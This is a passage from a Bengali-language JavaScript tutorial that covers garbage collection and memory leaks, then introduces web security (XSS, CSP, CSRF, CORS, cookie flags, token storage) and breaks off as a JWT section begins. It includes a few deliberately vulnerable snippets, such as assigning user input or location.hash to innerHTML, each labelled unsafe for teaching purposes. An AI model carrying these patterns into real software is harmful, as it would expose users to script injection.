যদি effect lifecycle-এর সাথে timer cleanup না করা হয়, component lifecycle অনুযায়ী unnecessary interval running/retention হতে পারে। Better:

JavaScript SourceJavaScript
useEffect(() => {
    const id = setInterval(() => {
        fetchData();
    }, 1000);

    return () => {
        clearInterval(id);
    };
}, []);
30.58 Real-Life Example

ধরো তোমার একটি warehouse আছে।

🧭 ARCHITECTURE & MEMORY GRAPH DIAGRAM
Warehouse = Memory
Products = Objects
Warehouse Manager = Garbage Collector
Inventory List = References

নতুন product এলো:

🧭 MEMORY LIFECYCLE & RECLAMATION FLOW
Allocate

Product ব্যবহার হচ্ছে:

🧭 ARCHITECTURE & MEMORY GRAPH DIAGRAM
Use

Product আর প্রয়োজন নেই এবং inventory-তেও নেই:

🧭 ARCHITECTURE & MEMORY GRAPH DIAGRAM
Unreachable

Manager:

🧭 ARCHITECTURE & MEMORY GRAPH DIAGRAM
Garbage Collector

পুরনো product সরিয়ে জায়গা free করে। কিন্তু inventory list-এ product-এর reference থাকলে:

🧭 ARCHITECTURE & MEMORY GRAPH DIAGRAM
Reference
   
Product

manager সেটাকে ফেলে দিতে পারবে না। এটাই memory retention-এর basic idea।

Part 11 — Interview Deep Dives, Golden Rules & Memory Leak Checklist (30.59 – 30.64)
30.59 🔥 Interview Question
🔹 প্রশ্ন:
JavaScript SourceJavaScript
let user = {
    name: "Ripon"
};

let admin = user;

user = null;

Object কি garbage collected হবে?

🔹 Answer:

না, এই মুহূর্তে necessarily নয়। কারণ:

🧭 ARCHITECTURE & MEMORY GRAPH DIAGRAM
admin
 
Object

এখনও reference আছে। তাই object reachable।

30.60 আরেকটি
JavaScript SourceJavaScript
let user = {
    name: "Ripon"
};

let admin = user;

user = null;
admin = null;

এখন যদি আর কোনো reference না থাকে:

🧭 MARK-AND-SWEEP GC REACHABILITY GRAPH
Object
   X
Root

Object unreachable হতে পারে এবং garbage collection-এর জন্য eligible হবে।

30.61 Closure Question
JavaScript SourceJavaScript
function create() {
    const secret = "Hello";

    return function () {
        console.log(secret);
    };
}

const fn = create();

create() execution শেষ হলেও secret কেন থাকতে পারে? কারণ:

🧭 CLOSURE LEXICAL SCOPE MEMORY RETENTION
fn
 
Closure
 
secret

fn যতক্ষণ reachable এবং closure secret ব্যবহার করতে পারে, secret retained হতে পারে।

30.62 🔥 Memory Management-এর Golden Rule

> Garbage Collector দেখে object reachable কি না; তুমি object আর ব্যবহার না করলেও যদি কোনো active reference সেটাকে ধরে রাখে, তাহলে GC সেটাকে reclaim করতে পারবে না।

30.63 Memory Leak Checklist

যদি application-এর memory ক্রমাগত বাড়তে থাকে, check করো:

🛡️ 12-POINT MEMORY AUDIT & LEAK CHECKLIST
Global variables
Large arrays
Unlimited cache
Event listeners
setInterval
setTimeout
DOM references
Detached DOM nodes
Closures
Subscriptions
WebSocket
Observers
Large Maps/Sets
Long-lived objects
30.64 🔥 MUST KNOW — মেমরি ম্যানেজমেন্টের প্রধান স্তম্ভসমূহ

চ্যাপ্টার ৩০ থেকে প্রতিটি সফটওয়্যার ইঞ্জিনিয়ারের যেসব বিষয় মুখস্থ নয়, সরাসরি মস্তিষ্কে গেঁথে থাকা বাধ্যতামূলক:

📌 1. Memory Basics
  • Memory Allocation (Primitive vs Object)
  • Stack (Execution contexts & primitive values)
  • Heap (Dynamic collections, objects & arrays)
  • References & Memory Addresses
  • Reachability & Active Root Graphs
📌 2. Garbage Collection
  • Mark-and-Sweep Core Engine Algorithm
  • Active Roots Traversal & Mark Bit Setting
  • Unreachable vs Nullified References
  • Circular References handled cleanly by GC
  • GC Runs Asynchronously (Non-deterministic)
📌 3. Memory Leaks Traps
  • Accidental Global Variables (window.data)
  • Uncleared Timers (setInterval/setTimeout)
  • Forgotten Event Listeners on unmounted DOM
  • Detached DOM Nodes retained in JS collections
  • Closures retaining heavy parent lexical scopes
📌 4. Advanced Diagnostics
  • WeakMap & WeakSet (Garbage-collectible keys)
  • WeakRef & FinalizationRegistry
  • Chrome DevTools Heap Snapshots & Retainers
  • Allocation Instrumentation on timeline
  • Explicit Resource Cleanup (Freeing buffers)
Part 12 — Quick Cheat Sheet, Practice Lab with Detailed Solutions & Final Mental Map
30.Cheat 🧠 Quick Cheat Sheet — JavaScript Memory & GC Terminology

মেমরি ম্যানেজমেন্টের সর্বাধিক ব্যবহৃত টার্মগুলোর তাৎক্ষণিক অর্থ ও ভূমিকা:

TermMeaning
Memory AllocationData-এর জন্য memory নেওয়া
ReferenceObject-এর দিকে reference
ReachableRoot থেকে object-এ পৌঁছানো যায়
Unreachableআর কোনো active path নেই
Garbage CollectorUnreachable memory reclaim করে
Mark-and-SweepReachable mark, unreachable reclaim
Memory Leakপ্রয়োজনহীন data retained থাকা
ClosureOuter variables retain করতে পারে
Detached DOMDOM থেকে remove হলেও reference retained
WeakMapWeakly held object-key association
WeakSetWeakly held object collection
WeakRefWeak reference
Heap SnapshotMemory analysis tool
Retainerকোন reference object-কে ধরে রেখেছে
30.Lab 📝 Hands-On Practice Lab — 6 Memory Lifecycle & GC Trace Problems

মেমরি ম্যানেজমেন্ট ও রিচেবিলিটির খুঁটিনাটি যাচাই করার জন্য নিচে ৬টি প্রোডাকশন ইন্টারভিউ চ্যালেঞ্জের পূর্ণাঙ্গ ব্যাখ্যাসহ সমাধান দেওয়া হলো:

Practice 1: Object Eligibility for Garbage Collection Beginner

❓ Object কি garbage collection-এর জন্য eligible হতে পারে? কেন?

Practice 1 Code ChallengeJavaScript
let user = {
    name: "Ripon"
};

user = null;
▶ CONSOLE OUTPUTOutput
Eligible for Garbage Collection
🔍 Model Solution & Memory Mechanics:
১. হ্যাঁ, অবজেক্টটি Garbage Collection-এর জন্য নিশ্চিতভাবে Eligible হবে। ২. কারণ: শুরুতে Global/Stack-এর 'user' ভেরিয়েবলটি Memory Heap-এ থাকা '{ name: "Ripon" }' অবজেক্টকে রেফারেন্স করছিল। ৩. যখন 'user = null' অ্যাসাইন করা হলো, তখন অবজেক্টটির সাথে রুট (Root)-এর একমাত্র রেফারেন্স সংযোগটি বিচ্ছিন্ন হয়ে যায়। ৪. অবজেক্টটি সম্পূর্ণ 'Unreachable' হয়ে পড়ে। Mark-and-Sweep অ্যালগরিদম পরবর্তী GC সাইকেলে রুট থেকে ট্রাভার্স করার সময় এই অবজেক্টে পৌঁছাতে পারবে না, ফলে এর দখলকৃত মেমরি রিক্লেইম (মুক্ত) করে দেবে।
Practice 2: Object Reference Copy vs Value Mutability Beginner

❓ নিচের কোডটি রান করলে আউটপুট কী আসবে এবং মেমরিতে কী ঘটবে?

Practice 2 Code ChallengeJavaScript
const a = {
    value: 10
};

const b = a;

b.value = 20;

console.log(a.value);
▶ CONSOLE OUTPUTOutput
20
🔍 Model Solution & Memory Mechanics:
১. আউটপুট আসবে '20'। ২. মেমরি বিশ্লেষণ: JavaScript-এ অবজেক্ট সরাসরি ভ্যালু হিসেবে কপি হয় না। যখন 'const b = a' লেখা হয়, তখন অবজেক্টের মেমরি অ্যাড্রেস (Reference Pointer) 'b'-তে কপি হয়। ৩. ফলে 'a' এবং 'b' উভয়েই Memory Heap-এর একই ফিজিক্যাল অবজেক্টকে পয়েন্ট করে থাকে। ৪. সুতরাং 'b.value = 20' মিউটেট করলে একই অবজেক্টের অভ্যন্তরীণ প্রোপার্টি পরিবর্তিত হয়, তাই 'a.value'-ও ২০ প্রিন্ট করে।
Practice 3: Active Multi-Reference Reachability Check Intermediate

❓ নিচের কোডে user = null করার পরও অবজেক্ট কি reachable থাকবে?

Practice 3 Code ChallengeJavaScript
let user = {
    name: "Ripon"
};

let admin = user;

user = null;
▶ CONSOLE OUTPUTOutput
Object remains Reachable (Retained)
🔍 Model Solution & Memory Mechanics:
১. হ্যাঁ, অবজেক্টটি এখনো সম্পূর্ণ Reachable থাকবে এবং Garbage Collector এটিকে মুছবে না। ২. কারণ: যদিও 'user = null' করে একটি রেফারেন্স মুছে ফেলা হয়েছে, কিন্তু 'admin' ভেরিয়েবলটি এখনো সেই অবজেক্টের মেমরি অ্যাড্রেস ধরে রেখেছে। ৩. রুট থেকে অবজেক্টে পৌঁছানোর পথ এখনো অক্ষত আছে: (Global Scope → admin → Heap Object)। ৪. অবজেক্ট তখনই Unreachable হবে যখন 'admin'-কেও null বা অন্য ভ্যালুতে রি-অ্যাসাইন করা হবে।
Practice 4: Complete Unreachability Point Determination Intermediate

❓ ঠিক কোন লাইনের এক্সিকিউশনের পর অবজেক্টটি GC-এর জন্য eligible হবে?

Practice 4 Code ChallengeJavaScript
let user = {
    name: "Ripon"
};

let admin = user;

user = null;
admin = null; // <--- Critical Transition Point
▶ CONSOLE OUTPUTOutput
Eligible right after 'admin = null;'
🔍 Model Solution & Memory Mechanics:
১. ঠিক 'admin = null;' স্টেটমেন্টটি এক্সিকিউট হওয়ার পরপরই অবজেক্টটি GC-এর জন্য Eligible হবে। ২. ধাপ ১: 'user = null' করার পর অবজেক্টের রেফারেন্স কাউন্ট ১ ছিল (admin রেফারেন্স করছিল)। ৩. ধাপ ২: যখন 'admin = null' কার্যকর হলো, তখন অবজেক্টটির দিকে কোনো সক্রিয় রুট রেফারেন্স অবশিষ্ট থাকল না। ৪. ফলশ্রুতিতে অবজেক্টটি পুরোপুরি আনরিচেবল গ্রাফ আইল্যান্ডে পরিণত হলো এবং পরবর্তী ইঞ্জিন সুইপ ফেজে মেমরি ফ্রি করার জন্য চূড়ান্তভাবে প্রস্তুত হলো।
Practice 5: Closure Lexical Environment Retention Advanced 🔥

❓ createCounter() এর এক্সিকিউশন শেষ হওয়ার পরও 'count' ভেরিয়েবল মেমরিতে কীভাবে বাঁচে?

Practice 5 Code ChallengeJavaScript
function createCounter() {
    let count = 0;

    return function () {
        count++;
        return count;
    };
}

const counter = createCounter();
console.log(counter()); // 1
console.log(counter()); // 2
▶ CONSOLE OUTPUTOutput
1
2
🔍 Model Solution & Memory Mechanics:
১. সাধারণ ফাংশনের ক্ষেত্রে এক্সিকিউশন শেষ হওয়ামাত্রই কল স্ট্যাক ফ্রেম ধ্বংস হয়ে যায় এবং লোকাল ভেরিয়েবল মুছে যায়। ২. কিন্তু এখানে 'createCounter' একটি ইনার ফাংশন রিটার্ন করেছে যা তার প্যারেন্ট স্কোপের 'count' ভেরিয়েবলকে ব্যবহার করে (Closure)। ৩. JavaScript ইঞ্জিন দেখে যে রিটার্ন করা ফাংশনটি গ্লোবাল ভেরিয়েবল 'counter'-এ অ্যাসাইন করা হয়েছে (Reachable Root)। ৪. ইঞ্জিন ফাংশনটির Lexical Environment-কে স্ট্যাক থেকে হিপে স্থানান্তরিত করে জিইয়ে রাখে, যতক্ষণ 'counter' ভেরিয়েবলটি মেমরিতে সক্রিয় থাকবে। ৫. মেমরি সতর্কতা: ক্লোজার যদি ভারী ডেটা রেফারেন্স করে রাখে, তবে কাজ শেষে 'counter = null' না করলে মেমরি রিটেইনড থাকে।
Practice 6: Timer Interval Memory Leak Audit & Production Lifecycle Cleanup Advanced 🔥

❓ নিচের কোডে সম্ভাব্য Memory Leak কী এবং কীভাবে ক্লিনআপ করতে হবে?

Practice 6 Code ChallengeJavaScript
// ❌ Leaky Implementation:
function start() {
    setInterval(() => {
        console.log("Running...");
    }, 1000);
}
start();

// ✅ Production Clean Lifecycle Pattern:
let timerId = null;

function startService() {
    if (timerId !== null) return;
    timerId = setInterval(() => {
        console.log("Service pulse active...");
    }, 1000);
}

function stopService() {
    if (timerId !== null) {
        clearInterval(timerId);
        timerId = null;
        console.log("Timer destroyed & memory released cleanly.");
    }
}
▶ CONSOLE OUTPUTOutput
Service pulse active...
Timer destroyed & memory released cleanly.
🔍 Model Solution & Memory Mechanics:
১. মেমরি সমস্যা: 'setInterval' ব্রাউজার বা Node.js হোস্ট এনভায়রনমেন্টের ইন্টারনাল টাইমার টেবিলে রেজিস্টার হয়ে থাকে। ফাংশন শেষ হলেও টাইমার অবজেক্ট এবং তার কলব্যাকটি মেমরিতে চিরতরে আটকে থাকে। ২. কলব্যাকের ভেতরে কোনো ভ্যারিয়েবল, অবজেক্ট বা DOM রেফারেন্স থাকলে তারা কখনো GC হবে না। ৩. প্রতিকার: টাইমার আইডিটি সংরক্ষণ করতে হবে এবং কম্পোনেন্ট আনমাউন্ট বা কাজ শেষ হলে 'clearInterval(timerId)' ও 'timerId = null' কল করে হোস্ট মেমরি মুক্ত করতে হবে। ৪. React কম্পোনেন্টে এটি useEffect-এর return cleanup ফাংশনে হ্যান্ডল করা বাধ্যতামূলক।
30.Map 🎯 Final Mental Map — JavaScript Memory Architecture

JavaScript রানটাইমে মেমরি রূপান্তর, রিচেবিলিটি চেক এবং গার্বেজ কালেকশন প্রবাহের পূর্ণাঙ্গ মানসিক মানচিত্র:

🧭 JavaScript Memory & GC Global Coordination Tree
JavaScript Memory
                        
            ──────────────────────
                                   
          Stack                   Heap
                                   
       Execution               Objects/Data
                                   
            ──────────────────────
                        
                   References
                        
                        
                   Reachability
                        
             ────────────────────
                                  
        Reachable             Unreachable
                                  
                                  
                             GC Eligible
                                  
                                  
                           Garbage Collector
                                  
                                  
                           Memory Reclaimed
             
             
       Memory Retained
⭐ সবচেয়ে গুরুত্বপূর্ণ ৫টি গোল্ডেন রুল:
1️⃣ স্বয়ংক্রিয় মেমরি পরিচালনা: JavaScript স্বয়ংক্রিয়ভাবে মেমরি বরাদ্দ ও মুক্ত করে, কোনো ম্যানুয়াল free() প্রয়োজন হয় না।
2️⃣ রেফারেন্সের মাধ্যমে অবজেক্ট অ্যাক্সেস: অবজেক্ট ভ্যালু আকারে কপি হয় না, কেবল পয়েন্টার রেফারেন্স শেয়ার হয়।
3️⃣ সক্রিয় অবজেক্ট রিচেবল থাকে: রুট (Root) থেকে পৌঁছানো যায় এমন সব ডেটাকে ইঞ্জিন বাঁচিয়ে রাখে।
4️⃣ আনরিচেবল অবজেক্টই GC যোগ্য: কোনো অবজেক্টের রেফারেন্স চেইন ছিন্ন হলেই কেবল তা গার্বেজ কালেকশন উপযোগী হয়।
5️⃣ মেমরি লিকের মূল কারণ: প্রয়োজনহীন ডেটা যখন ভুলে কোনো সক্রিয় রুট রেফারেন্সের সাথে আবদ্ধ থাকে।
🔥 এক নজরে মূল কথা (Core Essence):
JavaScript-এর Garbage Collector মেমরি নিজে থেকে পরিষ্কার করে, কিন্তু কোনো অপ্রয়োজনীয় অবজেক্ট যদি এখনও কোনো সক্রিয় রেফারেন্সের মাধ্যমে রিচেবল থাকে, তাহলে Garbage Collector সেটাকে রিক্লেইম করতে পারে না—এটাই মেমরি ম্যানেজমেন্ট বোঝার মূল চাবিকাঠি।
🚀 Next Chapter Preview:
Chapter 31 — JavaScript Security & Web Security
পরবর্তী চ্যাপ্টারে আমরা শিখব XSS, CSRF, CORS, CSP, DOM-based attacks, Prototype Pollution, Token & Storage Security এবং স্যানিটাইজেশন প্রোডাকশন প্যাটার্ন।
Chapter 31
↑ Index
JavaScript Web Security — জাভাস্ক্রিপ্ট ওয়েব সিকিউরিটি
Total Modules
70 Modules + Practice Lab
Curriculum Part
Part 25 — Web & JS Security
Core Mechanics
XSS, CSRF, CORS, CSP, JWT & SOP
Reference Standard
OWASP Top 10 / W3C WebAppSec / RFC 6749
🛡️ JavaScript Security & Web Security — ডিফেন্সিভ আর্কিটেকচার শেখার মূল উদ্দেশ্য

JavaScript দিয়ে শুধু ওয়েবসাইট বানালেই হবে না—Website-এর Data, User Account, API, Authentication এবং Browser Interaction কীভাবে নিরাপদ রাখা যায় সেটাও একজন পেশাদার ইঞ্জিনিয়ারের জানা বাধ্যতামূলক। এই চ্যাপ্টারে আমরা XSS, CSRF, CORS, CSP, Secure Cookies, JWT, Prototype Pollution, Clickjacking, HTTPS এবং আধুনিক মাল্টি-লেয়ার ডিফেন্স সিস্টেম গভীরভাবে শিখব।

📌 1. CIA Triad
📌 2. Auth vs AuthZ
📌 3. XSS Sinks
📌 4. CSRF Traps
📌 5. SOP & CORS
📌 6. HttpOnly Cookies
📌 7. JWT Security
📌 8. Prototype Pollution
📌 9. Secure Headers
📌 10. Multi-Layer Defense
Part 01 — Web Security Fundamentals, CIA Triad & Input Validation (31.1 – 31.6)
31.1 Web Security কী?

Web Security হলো website/web application-এর:

  • User
  • Data
  • Authentication
  • API
  • Server
  • Browser interaction
  • Session

এসবকে unauthorized access, manipulation এবং malicious input থেকে নিরাপদ রাখা। একটি secure application:

🛡️ MULTI-TIER WEB SECURITY FLOW
User
 
Frontend
 
API
 
Backend
 
Database

প্রতিটি layer-এই security দরকার।

31.2 Security-এর 3টি মূল লক্ষ্য — CIA Triad

Web security বুঝতে এই ৩টি concept খুব গুরুত্বপূর্ণ।

🔹 C — Confidentiality

যে data যার দেখার কথা নয় সে যেন দেখতে না পারে। Example:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
User A
 
User A's private profile

User B যেন সেটা দেখতে না পারে।

🔹 I — Integrity

Data unauthorizedভাবে পরিবর্তন করা যাবে না। Example:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
Bank balance
৳10,000

কেউ unauthorizedভাবে:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
৳10,000 100,000

করতে পারবে না।

🔹 A — Availability

System প্রয়োজনের সময় available থাকবে।

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
Website
 
Users can access
31.3 Authentication vs Authorization

দুটো খুব ভালোভাবে বুঝবে।

🔹 Authentication
⚠️ তুমি কে?

Example:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
Email
+
Password

Login করার পর:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
You are Ripon
🔹 Authorization
⚠️ তুমি কী করতে পারো?

Example:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
Student
 View own result

Teacher
 Enter marks

Admin
 Manage users

অর্থাৎ:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
Authentication = Who are you?
Authorization = What are you allowed to do?
31.4 Input Validation কী?

User input expected format-এ আছে কি না check করা।

JAVASCRIPT SourceJAVASCRIPT
const age = 23;

if (age < 18) {
    console.log("Not allowed");
}

Form:

HTML INJECTION VECTORHTML
<input type="email" required>

Validation হতে পারে:

  • Client-side
  • Server-side
31.5 Client-side Validation যথেষ্ট নয়

ধরো:

HTML INJECTION VECTORHTML
<input type="number" min="18">

Browser UI-তে user 18-এর নিচে value দিতে পারছে না। কিন্তু attacker browser-এর বাইরে সরাসরি API call করতে পারে। তাই:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
Frontend validation
        +
Backend validation

দুটো দরকার।

🔹 🔥 Golden Rule
⚠️ Never trust client-side input.
31.6 Validation vs Sanitization

দুটো এক নয়।

🔹 Validation

Input acceptable কি না check করে।

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
Age = 25
 Valid
🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
Age = "hello"
 Invalid
🔹 Sanitization

Input-এর potentially dangerous অংশ remove/transform করার চেষ্টা করে। উদাহরণ:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
User-provided HTML
        
Sanitize
        
Safer HTML
Part 02 — Cross-Site Scripting (XSS) Attacks, DOM Sinks & CSP Defense (31.7 – 31.15)
31.7 XSS — Cross-Site Scripting

XSS হলো এমন vulnerability যেখানে attacker-controlled content webpage-এর context-এ script হিসেবে execute হওয়ার সুযোগ পায়। ধরো application user-এর comment HTML হিসেবে সরাসরি render করে। Dangerous pattern:

JAVASCRIPT Source❌ Vulnerable / Attack Vector
element.innerHTML = userInput;

যদি userInput untrusted হয়, security problem হতে পারে।

31.8 XSS-এর Basic Idea

ধরো:

🛡️ XSS INJECTION & EXECUTION PIPELINE
User Input
    
Website blindly trusts it
    
Browser interprets it as HTML/Script
    
Unexpected code execution

এটাই XSS-এর core concept।

31.9 XSS-এর Types

সাধারণভাবে:

🔹 1. Stored XSS

Malicious input server/database-এ save হয়।

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
Attacker
 
Comment
 
Database
 
Victim opens page
 
Payload executes
🔹 2. Reflected XSS

Input request-এর মাধ্যমে আসে এবং response-এ unsafeভাবে reflect হয়।

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
Request
 
Server
 
Response
 
Browser
🔹 3. DOM-based XSS

Client-side JavaScript unsafeভাবে DOM manipulate করার কারণে vulnerability তৈরি হয়। উদাহরণ:

JAVASCRIPT SourceJAVASCRIPT
element.innerHTML = location.hash;

এখানে untrusted URL-derived data DOM-এ unsafeভাবে বসানো হচ্ছে।

31.10 Dangerous DOM APIs

বিশেষভাবে সতর্ক:

JAVASCRIPT Source❌ Vulnerable / Attack Vector
innerHTML
outerHTML
insertAdjacentHTML()
document.write()

সবসময় এগুলো vulnerable নয়, কিন্তু untrusted input নিয়ে ব্যবহার করলে risk তৈরি হতে পারে।

31.11 innerHTML বনাম textContent

ধরো user input:

JAVASCRIPT SourceJAVASCRIPT
const input = userInput;

Unsafe pattern:

JAVASCRIPT SourceJAVASCRIPT
element.innerHTML = input;

Text হিসেবে দেখাতে চাইলে:

JAVASCRIPT Source✅ Secure / Mitigated Pattern
element.textContent = input;

textContent HTML হিসেবে interpret না করে text হিসেবে রাখে। Example:

JAVASCRIPT Source✅ Secure / Mitigated Pattern
element.textContent = "<h1>Hello</h1>";

Browser দেখাবে:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
<h1>Hello</h1>

HTML heading বানাবে না।

31.12 XSS Prevention
🔹 Rule 1

Untrusted input HTML হিসেবে render করো না। Prefer:

JAVASCRIPT Source✅ Secure / Mitigated Pattern
element.textContent = userInput;
🔹 Rule 2

Framework-এর safe rendering mechanism ব্যবহার করো। React:

JAVASCRIPT SourceJAVASCRIPT
<p>{userInput}</p>

সাধারণভাবে React text interpolation escape করে। কিন্তু:

JAVASCRIPT SourceJAVASCRIPT
<div dangerouslySetInnerHTML={{ __html: userInput }} />

ব্যবহারের সময় trusted/sanitized HTML নিশ্চিত করতে হবে।

31.13 Sanitization

যদি application-এ user-provided rich HTML allow করতে হয়, তখন proper HTML sanitizer দরকার হতে পারে। Concept:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
User HTML
    
Sanitizer
    
Allowed HTML
    
Render

নিজে simplistic regex দিয়ে HTML sanitizer বানানো নিরাপদ approach নয়।

31.14 CSP — Content Security Policy

CSP browser-কে বলে:

⚠️ কোন ধরনের resource/code কোথা থেকে load বা execute করা যাবে।

CSP সাধারণত HTTP response header-এর মাধ্যমে দেওয়া হয়। Conceptual example:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
Content-Security-Policy:
default-src 'self'

মানে default resource policy নিজের origin-এর মধ্যে সীমিত রাখার একটি baseline তৈরি হয়।

31.15 CSP কেন গুরুত্বপূর্ণ?

যদি কোনো XSS vulnerability somehow থেকে যায়, strong CSP অনেক ক্ষেত্রে attack-এর impact কমাতে সাহায্য করতে পারে। Defense layers:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
Input Handling
      +
Safe DOM APIs
      +
Framework Escaping
      +
CSP

একটি security control-এর ওপর পুরোপুরি নির্ভর করা উচিত নয়।

Part 03 — Cross-Site Request Forgery (CSRF) & SameSite Protection (31.16 – 31.19)
31.16 CSRF — Cross-Site Request Forgery

CSRF হলো এমন attack যেখানে victim-এর authenticated browser session ব্যবহার করে unwanted action trigger করার চেষ্টা করা হয়। ধরো:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
User
 
Logged into bank.com

Browser-এ authentication cookie আছে। তারপর user malicious website visit করল।

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
Malicious Site
 
Tries to cause request
 
Bank application

যদি application যথেষ্ট protection না দেয়, unwanted state-changing request ঘটতে পারে।

31.17 CSRF-এর Core Idea
🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
Victim is authenticated
        
Browser has credentials
        
Attacker causes unwanted request
        
Server may trust it
31.18 CSRF Prevention

Common defenses:

🔹 1. CSRF Token

Server একটি unpredictable token দেয়।

🛡️ CSRF FORGERY TRAP & DEFENSE ARCHITECTURE
Form
 
CSRF Token
 
Server verifies
🔹 2. SameSite Cookies

Cookie configuration:

HTTP RESPONSE HEADERSHTTP
SameSite=Lax

বা প্রয়োজন অনুযায়ী:

HTTP RESPONSE HEADERS✅ Secure / Mitigated Pattern
SameSite=Strict

cross-site cookie behavior সীমিত করতে সাহায্য করে।

🔹 3. Origin/Referer Checking

Sensitive request-এর ক্ষেত্রে request origin যাচাই করা যায়।

31.19 XSS vs CSRF

| বিষয় | XSS | CSRF | | ------------ | --------------------------- | ----------------------------------- | | মূল সমস্যা | Untrusted script execution | Unwanted authenticated action | | Target | Browser/page context | Server-side state-changing action | | Common cause | Unsafe output handling | Weak request validation | | Defense | Escaping, sanitization, CSP | CSRF token, SameSite, Origin checks |

Part 04 — Same-Origin Policy (SOP), Cross-Origin Resource Sharing (CORS) (31.20 – 31.26)
31.20 CORS কী?

CORS = Cross-Origin Resource Sharing Browser-এর same-origin policy cross-origin requests-এর access control-এর একটি গুরুত্বপূর্ণ অংশ। Example:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
Frontend:
https://example.com

API:
https://api.example.com

এগুলো origin-এর দিক থেকে আলাদা, কারণ host আলাদা।

31.21 Origin কী?

একটি origin সাধারণত:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
scheme + host + port

দিয়ে নির্ধারিত হয়। উদাহরণ:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
https://example.com

এখানে:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
scheme = https
host   = example.com
port   = default HTTPS port

এইগুলো পরিবর্তিত হলে origin আলাদা হতে পারে।

31.22 Same-Origin Policy

Browser security-এর গুরুত্বপূর্ণ concept:

⚠️ একটি origin-এর webpage অন্য origin-এর resources/data-এর সাথে ইচ্ছামতো interact করতে পারে না।

এটা user data protect করতে সাহায্য করে।

31.23 CORS Example

Frontend:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
https://frontend.com

API:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
https://api.example.com

Server response-এ বলতে পারে:

HTTP RESPONSE HEADERSHTTP
Access-Control-Allow-Origin: https://frontend.com

এতে browser বুঝতে পারে নির্দিষ্ট origin-কে response access করার অনুমতি দেওয়া হয়েছে।

31.24 CORS কে কে enforce করে?

খুব গুরুত্বপূর্ণ:

⚠️ CORS মূলত browser-enforced mechanism।

Server-to-server request-এ browser-এর CORS restriction একইভাবে apply হয় না। তাই Postman-এ request কাজ করলেও browser-এ CORS error দেখা যেতে পারে।

31.25 CORS Error-এর Common কারণ

Frontend:

JAVASCRIPT SourceJAVASCRIPT
fetch("https://api.example.com/users");

Server যথাযথ CORS response না দিলে browser console-এ CORS-related error দেখা যেতে পারে। সমাধান সাধারণত:

🛡️ SAME-ORIGIN POLICY & CORS ACCESS CONTROL
Frontend-এ random workaround নয়
        
Server/API-এর CORS policy configure
31.26 mode: "no-cors" কি Solution?
JAVASCRIPT SourceJAVASCRIPT
fetch(url, {
    mode: "no-cors"
});

এটা সাধারণ API response access করার universal solution নয়। Response অনেক ক্ষেত্রে opaque হবে। তাই:

⚠️ Proper server-side CORS configuration করাই সাধারণ approach।
Part 05 — Cookie Security Flags, Storage Secrets & localStorage vs Cookies (31.27 – 31.31)
31.27 Cookie কী?

Cookie browser-এ small piece of data store করে। Example:

HTTP RESPONSE HEADERSHTTP
Set-Cookie: sessionId=abc123

Browser পরে appropriate request-এ cookie পাঠাতে পারে।

31.28 Secure Cookie Flags

Sensitive authentication cookie-তে গুরুত্বপূর্ণ flags:

🔹 HttpOnly
HTTP RESPONSE HEADERS✅ Secure / Mitigated Pattern
HttpOnly

JavaScript দিয়ে সাধারণভাবে cookie read করা যায় না। এটি XSS-এর ক্ষেত্রে session cookie theft-এর কিছু risk কমাতে সাহায্য করে।

🔹 Secure
HTTP RESPONSE HEADERSHTTP
Secure

Cookie HTTPS connection-এর মাধ্যমে পাঠানোর জন্য ব্যবহার করা হয়।

🔹 SameSite
HTTP RESPONSE HEADERSHTTP
SameSite=Lax

cross-site sending behavior সীমিত করতে সাহায্য করে।

31.29 Example

Conceptual:

HTTP RESPONSE HEADERS✅ Secure / Mitigated Pattern
Set-Cookie:
sessionId=abc123;
HttpOnly;
Secure;
SameSite=Lax

এটি authentication/session cookies-এর জন্য common security-oriented configuration-এর একটি example। Actual application requirement অনুযায়ী settings নির্বাচন করতে হয়।

31.30 localStorage Security
JAVASCRIPT SourceJAVASCRIPT
localStorage.setItem("token", token);

Convenient হলেও sensitive authentication token রাখার ক্ষেত্রে security trade-off আছে। কারণ JavaScript access করতে পারে:

JAVASCRIPT SourceJAVASCRIPT
localStorage.getItem("token");

যদি XSS vulnerability থাকে, malicious script potentially token read করতে পারে।

31.31 localStorage বনাম HttpOnly Cookie

| বিষয় | localStorage | HttpOnly Cookie | | --------------------------- | ------------ | -------------------------- | | JS access | Yes | No | | XSS token theft risk | বেশি | কমাতে সাহায্য করে | | Automatically request-এ যায় | No | Appropriate cookie হলে Yes | | CSRF consideration | আলাদা | গুরুত্বপূর্ণ | | Sensitive session design | সাবধানে | অনেক ক্ষেত্রে useful | কোনটি ব্যবহার করবে সেটা application architecture-এর ওপর নির্ভর করে।

Part 06 — JSON Web Tokens (JWT) Architecture, Cryptography & Session Security (31.32 – 31.35)
31.32 JWT কী?

JWT:

⚠️ JSON Web Token

একটি token format যা claims বহন করতে পারে। Structure:

🛡️ JWT 3-PART STRUCTURE & TOKEN VERIFICATION
Header.Payload.Signature

Example:

